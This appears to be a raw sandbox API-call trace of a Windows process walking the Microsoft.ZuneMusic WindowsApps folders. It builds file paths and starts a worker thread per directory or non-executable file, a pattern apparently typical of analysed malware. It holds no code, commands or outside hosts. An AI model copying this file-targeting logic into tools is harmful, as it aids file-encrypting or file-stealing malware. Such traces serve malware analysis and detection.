	[0089.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ec338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2004
	[0089.911] FindNextFileW (in: hFindFile=0x46a7dd8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa241231, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa241231, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa241231, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.911] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.911] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x4730130
	[0089.911] wcscpy (in: _Dest=0x4730130, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.911] wcscat (in: _Dest=0x4730130, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.911] wcscat (in: _Dest=0x4730130, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2008
	[0089.912] FindNextFileW (in: hFindFile=0x46a7dd8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eea3226, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3eea3226, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3eea3226, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa10, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.912] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.912] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4777b60
	[0089.912] wcscpy (in: _Dest=0x4777b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.912] wcscat (in: _Dest=0x4777b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.912] wcscat (in: _Dest=0x4777b60, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\\resources.pri"
	[0089.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200c
	[0089.913] FindNextFileW (in: hFindFile=0x46a7dd8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eea3226, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3eea3226, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3eea3226, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa10, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0089.913] FindClose (in: hFindFile=0x46a7dd8 | out: hFindFile=0x46a7dd8) returned 1
	[0089.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f968) returned 1
	[0089.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4722e00) returned 1
	[0089.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e490) returned 1

Thread:
	id = 1060
	os_tid = 0x1d00

	[0082.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481b950
	[0082.742] wcscpy (in: _Dest=0x481b950, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0082.742] wcscat (in: _Dest=0x481b950, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0082.742] wcscat (in: _Dest=0x481b950, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\*"
	[0082.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502fbd0
	[0082.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0ad538, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa21af8a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa21af8a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7e18
	[0082.742] wcscmp (_String1=".", _String2=".") returned 0
	[0082.742] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0ad538, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa21af8a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa21af8a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.742] wcscmp (_String1="..", _String2=".") returned 1
	[0082.742] wcscmp (_String1="..", _String2="..") returned 0
	[0082.742] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ad538, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3d0ad538, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3d0ad538, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12a6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.742] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.742] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a6610
	[0082.742] wcscpy (in: _Dest=0x46a6610, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0082.742] wcscat (in: _Dest=0x46a6610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0082.743] wcscat (in: _Dest=0x46a6610, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x46a6610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168c
	[0089.900] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ad538, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3d0ad538, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3d0ad538, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3c3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.900] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.900] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c7b8
	[0089.900] wcscpy (in: _Dest=0x477c7b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0089.900] wcscat (in: _Dest=0x477c7b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0089.900] wcscat (in: _Dest=0x477c7b8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c7b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd8
	[0089.901] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0d3791, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a9ac9b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3d0d3791, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.901] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.901] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.901] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47ea060
	[0089.901] wcscpy (in: _Dest=0x47ea060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0089.901] wcscat (in: _Dest=0x47ea060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0089.901] wcscat (in: _Dest=0x47ea060, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0089.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ea060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fdc
	[0089.901] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ad538, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3d0d3791, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3d0d3791, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.901] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.902] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477ca40
	[0089.902] wcscpy (in: _Dest=0x477ca40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0089.902] wcscat (in: _Dest=0x477ca40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0089.902] wcscat (in: _Dest=0x477ca40, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ca40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe0
	[0089.902] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0f99eb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4a9ba91, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3d5567d5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.902] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.902] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d9e0
	[0089.902] wcscpy (in: _Dest=0x4f2d9e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0089.902] wcscat (in: _Dest=0x4f2d9e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0089.902] wcscat (in: _Dest=0x4f2d9e0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\Assets"
	[0089.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2d9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe4
	[0089.903] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d57ca32, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3d805241, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3d805241, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7b4970, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntCommon.dll", cAlternateFileName="")) returned 1
	[0089.903] wcscmp (_String1="EntCommon.dll", _String2=".") returned 1
	[0089.903] wcscmp (_String1="EntCommon.dll", _String2="..") returned 1
	[0089.903] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d82b49a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3ded6d05, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3ded6d05, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8e7f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntPlat.dll", cAlternateFileName="")) returned 1
	[0089.903] wcscmp (_String1="EntPlat.dll", _String2=".") returned 1
	[0089.903] wcscmp (_String1="EntPlat.dll", _String2="..") returned 1
	[0089.903] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded6d05, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3df231c1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3df231c1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa4570, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntSyncFx.dll", cAlternateFileName="")) returned 1
	[0089.903] wcscmp (_String1="EntSyncFx.dll", _String2=".") returned 1
	[0089.903] wcscmp (_String1="EntSyncFx.dll", _String2="..") returned 1
	[0089.903] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df231c1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3df6f66f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3df6f66f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gnsdk_fp.dll", cAlternateFileName="")) returned 1
	[0089.903] wcscmp (_String1="gnsdk_fp.dll", _String2=".") returned 1
	[0089.903] wcscmp (_String1="gnsdk_fp.dll", _String2="..") returned 1
	[0089.903] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df6f66f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4bffc30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df6f66f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1
	[0089.903] wcscmp (_String1="Images", _String2=".") returned 1
	[0089.904] wcscmp (_String1="Images", _String2="..") returned 1
	[0089.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2db60
	[0089.904] wcscpy (in: _Dest=0x4f2db60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0089.904] wcscat (in: _Dest=0x4f2db60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0089.904] wcscat (in: _Dest=0x4f2db60, _Source="Images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\Images") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\Images"
	[0089.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2db60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fe8
	[0089.904] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa21af8a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x910dd35a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x910dd35a, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.904] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.904] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x2d8a2f8
	[0089.904] wcscpy (in: _Dest=0x2d8a2f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0089.905] wcscat (in: _Dest=0x2d8a2f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0089.905] wcscat (in: _Dest=0x2d8a2f8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8a2f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fec
	[0089.905] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df958cd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3e05626b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3e05626b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x191570, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.BackgroundAudioTask.dll", cAlternateFileName="")) returned 1
	[0089.905] wcscmp (_String1="Music.BackgroundAudioTask.dll", _String2=".") returned 1
	[0089.905] wcscmp (_String1="Music.BackgroundAudioTask.dll", _String2="..") returned 1
	[0089.905] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e05626b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3e9df935, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3e9df935, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1942970, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.UI.exe", cAlternateFileName="")) returned 1
	[0089.905] wcscmp (_String1="Music.UI.exe", _String2=".") returned 1
	[0089.905] wcscmp (_String1="Music.UI.exe", _String2="..") returned 1
